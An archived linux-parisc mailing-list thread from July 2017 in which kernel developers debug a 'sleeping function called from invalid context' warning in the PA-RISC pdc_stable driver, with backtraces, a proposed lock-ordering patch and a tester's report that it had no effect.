CONFIG_HAS_DMA=y
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_GLOB=y
# CONFIG_GLOB_SELFTEST is not set
CONFIG_NLATTR=y
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set
# CONFIG_IRQ_POLL is not set
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_SG_SPLIT is not set
CONFIG_SG_POOL=y
# CONFIG_ARCH_HAS_SG_CHAIN is not set
CONFIG_SBITMAP=y

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid context at mm/slab.h:416
Date: Sat, 29 Jul 2017 15:53:44 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501358026 6219 195.159.176.226 (29 Jul 2017 19:53:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 29 Jul 2017 19:53:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 29 21:53:41 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbXnw-00011Q-Hy
	for glpp-linux-parisc@m.gmane.org; Sat, 29 Jul 2017 21:53:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751497AbdG2Txq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 29 Jul 2017 15:53:46 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:53174 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751530AbdG2Txq (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 29 Jul 2017 15:53:46 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20170729195344.RXGE14026.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 29 Jul 2017 15:53:44 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by torspm02.bell.net with ESMTP
          id <20170729195344.LNOD23640.torspm02.bell.net@[192.168.2.25]>;
          Sat, 29 Jul 2017 15:53:44 -0400
In-Reply-To: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=ActeJzfG c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=kj9zAlcOel0A:10 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=E6rmrYihxRAP3jxWapwA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27599
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27599>

On 2017-07-29, at 3:09 PM, Meelis Roos wrote:

> [    1.940000]  [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458

I don't see this symbol in my build.  I see pdc_stable_initialize.

Do you have a patch installed?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Sat, 29 Jul 2017 13:27:52 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <1501360072.2834.4.camel@HansenPartnership.com>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
         <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1501360076 13434 195.159.176.226 (29 Jul 2017 20:27:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 29 Jul 2017 20:27:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>,
        Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 29 22:27:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbYKy-00036R-QG
	for glpp-linux-parisc@m.gmane.org; Sat, 29 Jul 2017 22:27:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751522AbdG2U1y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 29 Jul 2017 16:27:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40904 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751452AbdG2U1y (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 29 Jul 2017 16:27:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7200C8EE1B4;
        Sat, 29 Jul 2017 13:27:53 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id oSwlEVCNXflM; Sat, 29 Jul 2017 13:27:53 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.35.65.221])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 105E98EE1A4;
        Sat, 29 Jul 2017 13:27:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1501360073;
        bh=RTWEhh0HYUCpGsPBtFmPQu7r27j0poc18bGsELAgkDI=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=Ki1xmbFI4U1GRSooBY3Gm4tl24rJj6fNd/LOt4LUrunL7RyCGykoZZ1P4kzlu4e0i
         mdVdke4M+Fban+obQBRXKtlMclknAOL0iIuAj2/YwJ7yp0u+CICJ00ofgAaKm9oX4z
         tZpwiym/5Jva23c3/U1pmCfvk/gKJNxyQU6R6Bx8=
In-Reply-To: <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
X-Mailer: Evolution 3.20.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27600
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27600>

On Sat, 2017-07-29 at 15:53 -0400, John David Anglin wrote:
> On 2017-07-29, at 3:09 PM, Meelis Roos wrote:
> 
> > 
> > [    1.940000]  [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458
> 
> I don't see this symbol in my build.  I see pdc_stable_initialize.
> 
> Do you have a patch installed?

pdc_stable_init() is in drivers/parisc/pdc_stable.c (it's the module
initialization function).  It would be called as part of the boot
sequence if the module were built in.

James

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Sun, 30 Jul 2017 09:47:50 +0300 (EEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee> <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1501397275 30354 195.159.176.226 (30 Jul 2017 06:47:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 06:47:55 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 08:47:51 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbi10-0007cu-Gx
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 08:47:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750999AbdG3Grz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 02:47:55 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:57178 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750943AbdG3Grz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 02:47:55 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 34A9D900FB;
        Sun, 30 Jul 2017 09:47:52 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 20B1D221965; Sun, 30 Jul 2017 09:47:50 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 3938822190C;
        Sun, 30 Jul 2017 09:47:50 +0300 (EEST)
In-Reply-To: <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27601
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27601>

> > [    1.940000]  [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458
> 
> I don't see this symbol in my build.  I see pdc_stable_initialize.
> 
> Do you have a patch installed?

No, pristine v4.13-rc2-110-g0b5477d9dabd git.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid context at mm/slab.h:416
Date: Sun, 30 Jul 2017 08:27:18 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee> <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net> <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501417640 17623 195.159.176.226 (30 Jul 2017 12:27:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 12:27:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 14:27:16 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbnJT-0004Ls-FD
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 14:27:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752120AbdG3M1V convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 08:27:21 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:43204 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751002AbdG3M1U (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 08:27:20 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170730122718.ZNPL14656.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 30 Jul 2017 08:27:18 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by mtlspm02.bell.net with ESMTP
          id <20170730122718.QOU14758.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 30 Jul 2017 08:27:18 -0400
In-Reply-To: <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Cczn3Pjl c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=kj9zAlcOel0A:10 a=G3gG6ho9WtcA:10 a=D19gQVrFAAAA:8 a=FBHGMhGWAAAA:8 a=XXziALbfN7w4KJR_PwAA:9 a=CjuIK1q_8ugA:10 a=W4TVW4IDbPiebHqcZpNg:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27602
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27602>

On 2017-07-30, at 2:47 AM, Meelis Roos wrote:

>>> [    1.940000]  [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458
>> 
>> I don't see this symbol in my build.  I see pdc_stable_initialize.
>> 
>> Do you have a patch installed?
> 
> No, pristine v4.13-rc2-110-g0b5477d9dabd git.


James is correct about pdc_stable_init.  It is enabled by CONFIG_PDC_STABLE.

In the backtrace,

[    1.936053] BUG: sleeping function called from invalid context at mm/slab.h:416
[    1.936243] in_atomic(): 1, irqs_disabled(): 0, pid: 1, name: swapper/0
[    1.936601] CPU: 2 PID: 1 Comm: swapper/0 Not tainted 4.13.0-rc2-00110-g0b5477d9dabd #111
[    1.936828] Backtrace:
[    1.936889]  [<0000000040217ac8>] show_stack+0x20/0x38
[    1.939036]  [<00000000406fbbb0>] dump_stack+0xb0/0x128
[    1.939174]  [<0000000040274090>] ___might_sleep+0x180/0x1b8
[    1.940000]  [<0000000040274144>] __might_sleep+0x7c/0xe8
[    1.940000]  [<0000000040373874>] kmem_cache_alloc+0x14c/0x1e0
[    1.940000]  [<0000000040419514>] __kernfs_new_node+0x84/0x1b8
[    1.940000]  [<000000004041b09c>] kernfs_new_node+0x3c/0x78
[    1.940000]  [<000000004041e040>] kernfs_create_link+0x40/0xd8
[    1.940000]  [<000000004041f320>] sysfs_do_create_link_sd.isra.0+0xb0/0x130
[    1.940000]  [<000000004041f3d4>] sysfs_create_link+0x34/0x58
[    1.940000]  [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458

I don't know how we got to sysfs_create_link.  It is probably from here:

        /* Don't forget the root entries */
        error = sysfs_create_group(stable_kobj, &pdcs_attr_group);

Presumably, this is the sleeping function but it's not clear how the incorrect context arises.

Maybe there is an errant spin_lock somewhere.  For example, see:
https://lkml.org/lkml/2012/3/29/101
It might be in a unrelated routine.

Since this code hasn't changed in a long time, it should be possible to bisect problem.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Sun, 30 Jul 2017 08:30:48 -0700
Lines: 90
Approved: news@gmane.org
Message-ID: <1501428648.3670.1.camel@HansenPartnership.com>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
         <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
         <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>
         <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1501428661 32752 195.159.176.226 (30 Jul 2017 15:31:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 15:31:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>,
        Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 17:30:57 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbqB7-0007sW-0G
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 17:30:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754039AbdG3Pav (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 11:30:51 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43222 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1753961AbdG3Pau (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 11:30:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 43CB78EE213;
        Sun, 30 Jul 2017 08:30:50 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id J7v-M_6VfQOl; Sun, 30 Jul 2017 08:30:50 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.35.65.221])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CACC28EE0E2;
        Sun, 30 Jul 2017 08:30:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1501428650;
        bh=gBRZ/npAR8lSSls/zZ08S6U0FF3Y8r9jut8ZjtMzc9M=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=Tb9+6w/mEJ/2r3mVZOQpBAAXmFoIWlJWqrKEXfI5p2xogaAWx8NmbvsnKB5uFnCqT
         oMjvXzad80EM4T9ASt/cBnF2IWtxpCY5oDqGtcGOG6VeyKpfzq1eXlAcGFjl75/FO5
         A1qv1hzbtlZ2AWKxBKslG00J++AZdZOQpxOgQ6VI=
In-Reply-To: <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
X-Mailer: Evolution 3.20.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27603
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27603>

On Sun, 2017-07-30 at 08:27 -0400, John David Anglin wrote:
> On 2017-07-30, at 2:47 AM, Meelis Roos wrote:
> 
> > 
> > > 
> > > > 
> > > > [    1.940000]  [<000000004011b4a4>]
> > > > pdc_stable_init+0x2c4/0x458
> > > 
> > > I don't see this symbol in my build.  I see
> > > pdc_stable_initialize.
> > > 
> > > Do you have a patch installed?
> > 
> > No, pristine v4.13-rc2-110-g0b5477d9dabd git.
> 
> 
> James is correct about pdc_stable_init.  It is enabled by
> CONFIG_PDC_STABLE.
> 
> In the backtrace,
> 
> [    1.936053] BUG: sleeping function called from invalid context at
> mm/slab.h:416
> [    1.936243] in_atomic(): 1, irqs_disabled(): 0, pid: 1, name:
> swapper/0
> [    1.936601] CPU: 2 PID: 1 Comm: swapper/0 Not tainted 4.13.0-rc2-
> 00110-g0b5477d9dabd #111
> [    1.936828] Backtrace:
> [    1.936889]  [<0000000040217ac8>] show_stack+0x20/0x38
> [    1.939036]  [<00000000406fbbb0>] dump_stack+0xb0/0x128
> [    1.939174]  [<0000000040274090>] ___might_sleep+0x180/0x1b8
> [    1.940000]  [<0000000040274144>] __might_sleep+0x7c/0xe8
> [    1.940000]  [<0000000040373874>] kmem_cache_alloc+0x14c/0x1e0
> [    1.940000]  [<0000000040419514>] __kernfs_new_node+0x84/0x1b8
> [    1.940000]  [<000000004041b09c>] kernfs_new_node+0x3c/0x78
> [    1.940000]  [<000000004041e040>] kernfs_create_link+0x40/0xd8
> [    1.940000]  [<000000004041f320>]
> sysfs_do_create_link_sd.isra.0+0xb0/0x130
> [    1.940000]  [<000000004041f3d4>] sysfs_create_link+0x34/0x58
> [    1.940000]  [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458
> 
> I don't know how we got to sysfs_create_link.  It is probably from
> here:
> 
>         /* Don't forget the root entries */
>         error = sysfs_create_group(stable_kobj, &pdcs_attr_group);
> 
> Presumably, this is the sleeping function but it's not clear how the
> incorrect context arises.
> 
> Maybe there is an errant spin_lock somewhere.  For example, see:
> https://lkml.org/lkml/2012/3/29/101
> It might be in a unrelated routine.
> 
> Since this code hasn't changed in a long time, it should be possible
> to bisect problem.

How about this?  There's no need to take the write lock when creating
links anyway.

James

---

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 7147aa53e9a2..d7c88b1eaf06 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -331,13 +331,13 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
 	/* Now, dive in. Write back to the hardware */
 	pdcspath_store(entry);
 	
+	write_unlock(&entry->rw_lock);
+
 	/* Update the symlink to the real device */
 	sysfs_remove_link(&entry->kobj, "device");
 	ret = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
 	WARN_ON(ret);
 
-	write_unlock(&entry->rw_lock);
-	
 	printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" path to \"%s\"\n",
 		entry->name, buf);
 	
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Sun, 30 Jul 2017 21:12:30 +0300 (EEST)
Lines: 39
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1707302112140.27473@math.ut.ee>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>  <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>  <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>  <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net> <1501428648.3670.1.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501438357 10085 195.159.176.226 (30 Jul 2017 18:12:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 18:12:37 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 20:12:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbshY-0000dK-HV
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 20:12:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754308AbdG3SMe convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 14:12:34 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:52900 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754248AbdG3SMe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 14:12:34 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 3B01973D625;
        Sun, 30 Jul 2017 21:12:32 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 21AAE2219F8; Sun, 30 Jul 2017 21:12:30 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 48F0D220BD6;
        Sun, 30 Jul 2017 21:12:30 +0300 (EEST)
In-Reply-To: <1501428648.3670.1.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27604>

> How about this?  There's no need to take the write lock when creating
> links anyway.

No effect.

> 
> James
> 
> ---
> 
> diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
> index 7147aa53e9a2..d7c88b1eaf06 100644
> --- a/drivers/parisc/pdc_stable.c
> +++ b/drivers/parisc/pdc_stable.c
> @@ -331,13 +331,13 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
>  	/* Now, dive in. Write back to the hardware */
>  	pdcspath_store(entry);
>  	
> +	write_unlock(&entry->rw_lock);
> +
>  	/* Update the symlink to the real device */
>  	sysfs_remove_link(&entry->kobj, "device");
